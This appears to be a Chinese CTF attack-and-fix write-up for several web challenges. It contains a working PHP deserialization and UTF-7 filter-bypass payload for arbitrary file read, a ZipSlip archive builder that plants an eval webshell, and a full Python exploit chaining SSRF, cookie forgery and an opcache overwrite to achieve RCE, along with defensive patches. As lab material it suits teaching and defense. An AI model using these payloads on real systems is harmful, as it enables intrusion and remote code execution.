MediaDrive

Attack

漏洞点在preview.php
|475

file_get_contents函数可以读取文件,$convertedPath路径由$rawPath经过iconv编码转化得到,而$rawPath$user->basePath$f拼接构成,$user->basePath通过反序列化可控,$f可以直接传值可控,可以实现任意文件读取。

但是要读取flag,很明显存在preg_match的过滤,禁止了flag路径。

注意到iconv函数,将$rawPath$user->encoding编码转化为UTF-8,且转写策略是IGNORE,编码转换所在WAF后进行的,可以利用字符编码的脏字符绕关键词匹配WAF

简答遍历一下在UTF-7UTF-8过程中,会被IGNORE的字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

$ori_encoding = "UTF-7";
$goal_encoding = "utf-8";

for ($i = 0; $i <= 255; $i++) {
$hex = strtoupper(str_pad(dechex($i), 2, '0', STR_PAD_LEFT));
$encodedString = "%{$hex}";

$decoded = urldecode($encodedString);

$iconv_content = @iconv($ori_encoding, $goal_encoding."//IGNORE", $char);

if ($iconv_content == false || $iconv_content == ''){
echo $encodedString."\n";
}
}

?>

这里选用%C2,反序列化为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class User {
public string $name = "guest";
public string $encoding = "UTF-7";
public string $basePath = "/";
}

$exp = new User();
$exp = serialize($exp);
$exp = urlencode($exp);
echo $exp;

// O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A5%3A%22UTF-7%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D

payload为

1
2
3
4
5
GET /preview.php?f=fl%c2ag HTTP/1.1
Host: 127.0.0.1:8080
Cookie: user=O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A5%3A%22UTF-7%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D


Fix

主要问题在于WAF后了再进行了编码转换,交换一下WAF和编码转换的位置即可,同时考虑添加限制目录必须以/var/www/html/uploads/开头

1
2
3
4
5
6
7
8
9
$rawPath = $user->basePath . $f;

$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);

if (!str_starts_with($convertedPath, "/var/www/html/uploads/") || preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $convertedPath)) {
http_response_code(403);
echo "Access denied";
exit;
}

esay_time

Attack

是Python+PHP服务,Python服务对外暴露,PHP不对外暴露。
简单审计可以发现,/about路由存在SSRF:

再观察可以发现存在文件上传功能:

服务端接收一个zip压缩包并进行解压,存在Zip的目录穿越漏洞,可以把压缩包里的webshell通过目录穿越上传到指定的PHP服务的文件夹。

构造恶意压缩包:

1
2
3
4
5
6
7
8
9
10
11
import zipfile
def create_malicious_zip():
try:
with zipfile.ZipFile('evil.zip', 'w', compression=zipfile.ZIP_DEFLATED) as zipf:
zipf.writestr(zipfile.ZipInfo('../../../var/www/html/shell.php'), '<?php eval($_REQUEST["cmd"]);?>')
return True
except Exception as e:
return False

if __name__ == '__main__':
create_malicious_zip()

上传文件需要登录:

爆破可以得到密码:secret

实际上也可以直接伪造登录:

1
Cookie: visited=yes;user=admin;

先上传压缩包:

读flag:

看到很多师傅的博客是这样做的,但是实际上由于靶机设置了read_only: true/var/www/html/目录并不能写入

正确解法应该是利用opcache缓存替换原index.php的内容,计算system_id需要的信息可以利用SSRF从phpinfo.php中获取,文件时间戳从date.php获取,当然system_id直接利用给出的本地docker查看一下就行,也并不需要计算。

在本地搭建起docker环境后,首先访问一次/var/www/html/index.php触发生成缓存/tmp/45b8be9467d6ed29438f06cfe9cee9f6/var/www/html/index.php.bin,修改docker中的index.phpwebshell,再次访问刷新缓存,将新的index.php.bin修改时间戳进行上传。

正式访问题目,首先需要访问http://127.0.0.1:80/date.php获取时间戳,修改我们提前准备好的webshell缓存,然后上传恶意压缩包,访问webshell来RCE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import zipfile
import requests
from bs4 import BeautifulSoup
import re
from packaging import version

URL = "http://127.0.0.1:5000"
HEADER = {
"Cookie": "visited=yes;user=admin"
}

def create_malicious_zip():
try:
with zipfile.ZipFile('evil.zip', 'w') as zipf:
zipf.writestr('../../../tmp/45b8be9467d6ed29438f06cfe9cee9f6/var/www/html/index.php.bin', open("./index.php.bin", "rb").read())
return True
except Exception as e:
return False

def get_php(url):
post_data = {
"avatar_url": url
}
res = requests.post(URL+"/about", data=post_data, headers=HEADER)

bs = BeautifulSoup(res.text, "html.parser")
body = bs.find("div", class_="card__body")
div = body.find_all("div")[0].find_all("div")[-1].find_all("code")[2].text
ret = div[6:-1]
return ret

def get_index():
url = f"http://127.0.0.1:80/index.php"
res = get_php(url)
print(res)

def upload():
files = {
"plugin": ("evil.zip", open("evil.zip", "rb").read())
}
res = requests.post(URL+"/plugin/upload", files=files, headers=HEADER)

def replace_timestamp():
url = f"http://127.0.0.1:80/date.php"
time = int(get_php(url))
time = time.to_bytes(4, byteorder='little')
with open('index.php.bin', 'r+b') as f:
f.seek(0x40)
f.write(time)


def rce(cmd):
url = f"http://127.0.0.1:80/index.php?cmd=system('{cmd}');"
res = get_php(url)
print(res)

if __name__ == '__main__':
replace_timestamp()
create_malicious_zip()
upload()
rce("id")

Fix

修复点主要是鉴权和zip解压时要防止目录穿越,以及SSRF漏洞,还有默认密码和secret_key也可以考虑修改一下

关于鉴权,可以采用flask.session进行会话管理,只有登录成功时才设置session

1
2
3
4
5
6
def is_logged_in() -> bool:
user = flask.session.get("user")
if isinstance(user, str) and user != "" and user is not None:
return True
return False
# return flask.request.cookies.get("visited") == "yes" and bool(flask.request.cookies.get("user"))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route('/login', methods=['GET', 'POST'])
def login():
if flask.request.method == 'POST':
username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')

h1 = hashlib.md5(password.encode('utf-8')).hexdigest()
h2 = hashlib.md5(h1.encode('utf-8')).hexdigest()
next_url = flask.request.args.get("next") or flask.url_for("dashboard")

if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde":
# resp = flask.make_response(flask.redirect(next_url))
# resp.set_cookie('visited', 'yes', httponly=True, samesite='Lax')
# resp.set_cookie('user', username, httponly=True, samesite='Lax')
# return resp
flask.session.clear()
flask.session['user'] = username
return flask.redirect(next_url)

return flask.render_template('login.html', error='用户名或密码错误', username=username), 401

return flask.render_template('login.html', error=None, username='')

zip解压源代码其实给出了修复代码,直接替换原来的safe_upload函数即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def safe_extract_zip(zip_path: Path, dest_dir: Path) -> list[str]:
dest_dir = dest_dir.resolve()
extracted = []

with zipfile.ZipFile(zip_path, "r") as zf:
for info in zf.infolist():
name = info.filename.replace("\\", "/")

if name.endswith("/"):
continue

if name.startswith("/") or (len(name) >= 2 and name[1] == ":"):
raise ValueError("Illegal path in zip")

target = (dest_dir / name).resolve()
if os.path.commonpath([str(dest_dir), str(target)]) != str(dest_dir):
raise ValueError("ZipSlip blocked")

target.parent.mkdir(parents=True, exist_ok=True)
with zf.open(info, "r") as src, open(target, "wb") as dst:
shutil.copyfileobj(src, dst)

extracted.append(str(target.relative_to(dest_dir)))

return extracted

SSRF的修复也是给出了源码的,直接用就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def _host_is_public(hostname: str) -> bool:
lowered = (hostname or "").lower()
if lowered in {"localhost", "localhost.localdomain"}:
return False

try:
addrinfos = socket.getaddrinfo(hostname, None)
except OSError:
return False

ips = {ai[4][0] for ai in addrinfos if ai and ai[4]}
if not ips:
return False

for ip_str in ips:
ip_obj = ipaddress.ip_address(ip_str)
if (
ip_obj.is_private
or ip_obj.is_loopback
or ip_obj.is_link_local
or ip_obj.is_multicast
or ip_obj.is_reserved
):
return False

return True

IntraBadge

Attack

怀疑是SSTI,但是套了SandboxedEnvironment并不知道该怎么绕过,redis也不知道怎么利用

Fix

None

Wso2

Attack

java 不会 ; (

Fix

None